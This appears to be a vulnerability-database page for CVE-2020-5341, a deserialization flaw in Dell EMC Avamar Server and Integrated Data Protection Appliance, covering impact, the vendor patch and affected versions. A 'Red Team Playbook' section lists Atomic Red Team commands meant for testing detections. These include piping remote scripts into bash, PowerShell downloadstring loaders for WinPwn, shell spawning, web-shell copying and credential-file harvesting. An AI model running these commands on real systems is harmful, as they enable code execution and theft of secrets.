CVE-2020-5341
Overview
This vulnerability is a deserialization of untrusted data flaw affecting the Dell EMC Avamar Server and Integrated Data Protection Appliance. The root cause lies in improper validation of serialized input data, allowing maliciously crafted objects to be deserialized within the application. The affected components are the deserialization mechanisms in specific versions of Dell EMC Avamar Server and Integrated Data Protection Appliance software.
Vulnerability Description
Deserialization of Untrusted Data Vulnerability Dell EMC Avamar Server versions 7.4.1, 7.5.0, 7.5.1, 18.2, 19.1 and 19.2 and Dell EMC Integrated Data Protection Appliance versions 2.0, 2.1, 2.2, 2.3, 2.4 and 2.4.1 contain a Deserialization of Untrusted Data Vulnerability. A remote unauthenticated attacker could exploit this vulnerability to send a serialized payload that would execute code on the system.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected system, potentially gaining full control over the server. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to data compromise, disruption of backup services, and lateral movement within the enterprise environment, severely impacting business continuity and data integrity.
Solution
Dell has released security updates addressing this vulnerability in the Dell EMC Avamar Server and Integrated Data Protection Appliance. Administrators should apply the patches as detailed in Dell Security Advisory DSA-2020-057, available at https://www.dell.com/support/security/en-us/details/541677/. Specifically, upgrade affected Avamar Server versions to fixed releases beyond 7.5.1 and Integrated Data Protection Appliance versions beyond 2.4.1. Following vendor instructions in the advisory ensures mitigation of the deserialization flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (13)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Emc Avamar Server | 7.4.1 |
cpe:2.3:a:dell:emc_avamar_server:7.4.1:*:*:*:*:*:*:*
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|
Dell | Emc Avamar Server | 7.5.0 |
cpe:2.3:a:dell:emc_avamar_server:7.5.0:*:*:*:*:*:*:*
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|
Dell | Emc Avamar Server | 7.5.1 |
cpe:2.3:a:dell:emc_avamar_server:7.5.1:*:*:*:*:*:*:*
|
|
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Dell | Emc Avamar Server | 18.1 |
cpe:2.3:a:dell:emc_avamar_server:18.1:*:*:*:*:*:*:*
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Dell | Emc Avamar Server | 18.2 |
cpe:2.3:a:dell:emc_avamar_server:18.2:*:*:*:*:*:*:*
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Dell | Emc Avamar Server | 19.1 |
cpe:2.3:a:dell:emc_avamar_server:19.1:*:*:*:*:*:*:*
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Dell | Emc Avamar Server | 19.2 |
cpe:2.3:a:dell:emc_avamar_server:19.2:*:*:*:*:*:*:*
|
|
|
Dell | Emc Integrated Data Protection Appliance Firmware | 2.0 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.0:*:*:*:*:*:*:*
|
|
|
Dell | Emc Integrated Data Protection Appliance Firmware | 2.1 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.1:*:*:*:*:*:*:*
|
|
|
Dell | Emc Integrated Data Protection Appliance Firmware | 2.2 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.2:*:*:*:*:*:*:*
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Dell | Emc Integrated Data Protection Appliance Firmware | 2.3 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.3:*:*:*:*:*:*:*
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|
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Dell | Emc Integrated Data Protection Appliance Firmware | 2.4 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.4:*:*:*:*:*:*:*
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Dell | Emc Integrated Data Protection Appliance Firmware | 2.4.1 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.4.1:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-5341 |
| dell.com |
GitHub CVE
x_refsource_MISC
|
https://www.dell.com/support/security/en-us/details/541677/DSA-2020-057-Dell-EMC-Avamar-Server-Deserialization-of-Untrusted-Data-Vulnerability |